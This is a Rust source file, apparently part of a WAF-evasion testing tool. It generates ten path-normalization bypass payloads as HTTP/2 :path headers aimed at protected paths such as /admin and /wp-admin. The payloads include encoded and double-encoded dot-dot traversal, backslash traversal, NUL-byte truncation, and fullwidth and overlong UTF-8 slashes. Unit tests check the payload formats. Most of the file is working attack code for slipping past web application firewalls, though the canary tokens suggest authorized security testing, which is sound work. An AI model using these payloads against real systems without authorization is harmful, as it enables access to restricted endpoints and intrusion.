1use wafrift_types::canary::Canary;
20use wafrift_types::pick::pick_from;
21use wafrift_types::probe::{SmuggleArtifact, SmuggleProbe};
22
23#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
26pub enum PathNormalizeTechnique {
27 DotSegmentEncoded,
30 DoubleEncodedDotSegment,
33 MixedDotEncoding,
36 BackslashTraversal,
40 NullByteTruncation,
44 MultiSlashCollapse,
48 FragmentLeak,
52 SemicolonPathParam,
56 UnicodeFullwidthSlash,
60 OverlongUtf8Slash,
64}
65
66impl PathNormalizeTechnique {
67 #[must_use]
70 pub fn technique_name(&self) -> &'static str {
71 match self {
72 Self::DotSegmentEncoded => "path.dot-segment-encoded",
73 Self::DoubleEncodedDotSegment => "path.double-encoded-dot-segment",
74 Self::MixedDotEncoding => "path.mixed-dot-encoding",
75 Self::BackslashTraversal => "path.backslash-traversal",
76 Self::NullByteTruncation => "path.null-byte-truncation",
77 Self::MultiSlashCollapse => "path.multi-slash-collapse",
78 Self::FragmentLeak => "path.fragment-leak",
79 Self::SemicolonPathParam => "path.semicolon-path-param",
80 Self::UnicodeFullwidthSlash => "path.unicode-fullwidth-slash",
81 Self::OverlongUtf8Slash => "path.overlong-utf8-slash",
82 }
83 }
84
85 #[must_use]
87 pub fn description(&self) -> &'static str {
88 match self {
89 Self::DotSegmentEncoded => {
90 "URL-encoded dot-dot traversal — bypasses literal `../` scanners"
91 }
92 Self::DoubleEncodedDotSegment => "Double-encoded dot-dot — bypasses single-decode WAFs",
93 Self::MixedDotEncoding => "Mixed encoded + literal dot — bypasses one-pass normalizers",
94 Self::BackslashTraversal => {
95 "Windows backslash separator — IIS-style WAF/origin differential"
96 }
97 Self::NullByteTruncation => "NUL-byte truncation — splits WAF view from backend view",
98 Self::MultiSlashCollapse => "Multi-slash run — segment-count differential",
99 Self::FragmentLeak => "Fragment-in-path — WAFs that split early see wrong path",
100 Self::SemicolonPathParam => "RFC 3986 path-param suffix — normalizer differential",
101 Self::UnicodeFullwidthSlash => {
102 "U+FF0F fullwidth solidus — visually a slash, byte-wise not"
103 }
104 Self::OverlongUtf8Slash => "Overlong UTF-8 `/` (%c0%af) — accepted by lenient parsers",
105 }
106 }
107}
108
109const SAFE_PREFIX_POOL: &[&str] = &["/safe", "/public", "/healthz", "/assets"];
114
115#[derive(Debug, Clone)]
117pub struct PathSmuggleProbe {
118 pub canary: Canary,
120 pub technique: PathNormalizeTechnique,
122 pub path: String,
124}
125
126impl PathSmuggleProbe {
127 #[must_use]
133 pub fn new(technique: PathNormalizeTechnique, protected_path: &str) -> Self {
134 let target = protected_path.trim_start_matches('/');
135 let prefix = pick_from(SAFE_PREFIX_POOL, "/safe");
136 let path = match technique {
137 PathNormalizeTechnique::DotSegmentEncoded => {
138 format!("{prefix}/%2e%2e/{target}")
139 }
140 PathNormalizeTechnique::DoubleEncodedDotSegment => {
141 format!("{prefix}/%252e%252e/{target}")
142 }
143 PathNormalizeTechnique::MixedDotEncoding => {
144 format!("{prefix}/%2e./{target}")
145 }
146 PathNormalizeTechnique::BackslashTraversal => {
147 format!("{prefix}/..\\{target}")
148 }
149 PathNormalizeTechnique::NullByteTruncation => {
150 format!("/{target}%00/{}", prefix.trim_start_matches('/'))
151 }
152 PathNormalizeTechnique::MultiSlashCollapse => {
153 format!("////{target}")
154 }
155 PathNormalizeTechnique::FragmentLeak => {
156 format!("{prefix}#/{target}")
157 }
158 PathNormalizeTechnique::SemicolonPathParam => {
159 format!("/{target};jsessionid=wafrift")
160 }
161 PathNormalizeTechnique::UnicodeFullwidthSlash => {
162 format!("\u{FF0F}{target}")
164 }
165 PathNormalizeTechnique::OverlongUtf8Slash => {
166 format!("/%c0%af{target}")
167 }
168 };
169 Self {
170 canary: Canary::generate(),
171 technique,
172 path,
173 }
174 }
175}
176
177impl SmuggleProbe for PathSmuggleProbe {
178 fn canary(&self) -> &Canary {
179 &self.canary
180 }
181 fn technique(&self) -> String {
182 self.technique.technique_name().to_string()
183 }
184 fn description(&self) -> &str {
185 self.technique.description()
186 }
187 fn artifact(&self) -> SmuggleArtifact {
188 SmuggleArtifact::Headers(vec![(":path".to_string(), self.path.clone())])
189 }
190}
191
192#[must_use]
196pub fn all_variants(protected_path: &str) -> Vec<PathSmuggleProbe> {
197 use PathNormalizeTechnique::*;
198 [
199 DotSegmentEncoded,
200 DoubleEncodedDotSegment,
201 MixedDotEncoding,
202 BackslashTraversal,
203 NullByteTruncation,
204 MultiSlashCollapse,
205 FragmentLeak,
206 SemicolonPathParam,
207 UnicodeFullwidthSlash,
208 OverlongUtf8Slash,
209 ]
210 .iter()
211 .map(|t| PathSmuggleProbe::new(*t, protected_path))
212 .collect()
213}
214
215#[cfg(test)]
216mod tests {
217 use super::*;
218 use std::collections::HashSet;
219
220 #[test]
221 fn all_variants_emits_one_per_technique() {
222 let probes = all_variants("/admin");
223 assert_eq!(probes.len(), 10);
224 }
225
226 #[test]
227 fn every_probe_uses_path_family_namespace() {
228 for p in all_variants("/admin") {
229 assert!(p.technique().starts_with("path."), "got {}", p.technique());
230 }
231 }
232
233 #[test]
234 fn every_probe_emits_pseudo_path_header() {
235 for p in all_variants("/admin") {
236 match p.artifact() {
237 SmuggleArtifact::Headers(hs) => {
238 assert_eq!(hs.len(), 1);
239 assert_eq!(hs[0].0, ":path");
240 assert!(!hs[0].1.is_empty());
241 }
242 other => panic!("expected Headers, got {other:?}"),
243 }
244 }
245 }
246
247 #[test]
248 fn dot_segment_encoded_contains_encoded_dot_dot() {
249 let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "/admin");
250 assert!(p.path.contains("%2e%2e"), "got {}", p.path);
251 assert!(p.path.ends_with("admin"));
252 }
253
254 #[test]
255 fn double_encoded_contains_double_percent() {
256 let p = PathSmuggleProbe::new(PathNormalizeTechnique::DoubleEncodedDotSegment, "/admin");
257 assert!(p.path.contains("%252e%252e"), "got {}", p.path);
258 }
259
260 #[test]
261 fn mixed_dot_encoding_contains_encoded_dot_then_literal_dot() {
262 let p = PathSmuggleProbe::new(PathNormalizeTechnique::MixedDotEncoding, "/admin");
263 assert!(p.path.contains("%2e."), "got {}", p.path);
264 }
265
266 #[test]
267 fn backslash_traversal_contains_backslash() {
268 let p = PathSmuggleProbe::new(PathNormalizeTechnique::BackslashTraversal, "/admin");
269 assert!(p.path.contains('\\'), "got {}", p.path);
270 }
271
272 #[test]
273 fn null_byte_variant_contains_percent_00() {
274 let p = PathSmuggleProbe::new(PathNormalizeTechnique::NullByteTruncation, "/admin");
275 assert!(p.path.contains("%00"), "got {}", p.path);
276 }
277
278 #[test]
279 fn multi_slash_variant_starts_with_quad_slash() {
280 let p = PathSmuggleProbe::new(PathNormalizeTechnique::MultiSlashCollapse, "/admin");
281 assert!(p.path.starts_with("////"), "got {}", p.path);
282 }
283
284 #[test]
285 fn fragment_variant_contains_hash() {
286 let p = PathSmuggleProbe::new(PathNormalizeTechnique::FragmentLeak, "/admin");
287 assert!(p.path.contains('#'), "got {}", p.path);
288 }
289
290 #[test]
291 fn semicolon_variant_contains_semicolon_param() {
292 let p = PathSmuggleProbe::new(PathNormalizeTechnique::SemicolonPathParam, "/admin");
293 assert!(p.path.contains(';'), "got {}", p.path);
294 assert!(p.path.contains("jsessionid"));
295 }
296
297 #[test]
298 fn unicode_fullwidth_variant_contains_ff0f_bytes() {
299 let p = PathSmuggleProbe::new(PathNormalizeTechnique::UnicodeFullwidthSlash, "/admin");
300 let bytes = p.path.as_bytes();
302 assert!(
303 bytes.windows(3).any(|w| w == [0xEF, 0xBC, 0x8F]),
304 "got bytes {bytes:?}"
305 );
306 }
307
308 #[test]
309 fn overlong_utf8_variant_contains_c0_af() {
310 let p = PathSmuggleProbe::new(PathNormalizeTechnique::OverlongUtf8Slash, "/admin");
311 assert!(p.path.contains("%c0%af"), "got {}", p.path);
312 }
313
314 #[test]
315 fn canaries_are_unique_per_probe() {
316 let probes = all_variants("/admin");
317 let tokens: HashSet<String> = probes.iter().map(|p| p.canary().token.clone()).collect();
318 assert_eq!(tokens.len(), probes.len());
319 }
320
321 #[test]
322 fn descriptions_are_non_empty_and_distinct() {
323 let probes = all_variants("/admin");
324 let descs: HashSet<&str> = probes.iter().map(|p| p.description()).collect();
325 assert_eq!(descs.len(), probes.len(), "descriptions must be distinct");
326 for p in &probes {
327 assert!(!p.description().is_empty());
328 }
329 }
330
331 #[test]
332 fn technique_names_are_distinct() {
333 let probes = all_variants("/admin");
334 let techs: HashSet<String> = probes.iter().map(|p| p.technique()).collect();
335 assert_eq!(
336 techs.len(),
337 probes.len(),
338 "technique names must be distinct"
339 );
340 }
341
342 #[test]
343 fn custom_protected_path_appears_in_artifact() {
344 let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "/wp-admin");
345 assert!(p.path.contains("wp-admin"), "got {}", p.path);
346 }
347
348 #[test]
349 fn protected_path_without_leading_slash_still_works() {
350 let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "admin");
351 assert!(p.path.contains("admin"));
352 }
353
354 #[test]
355 fn probe_canary_token_is_sixteen_chars() {
356 let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "/admin");
357 assert_eq!(p.canary().token.len(), 16);
358 }
359}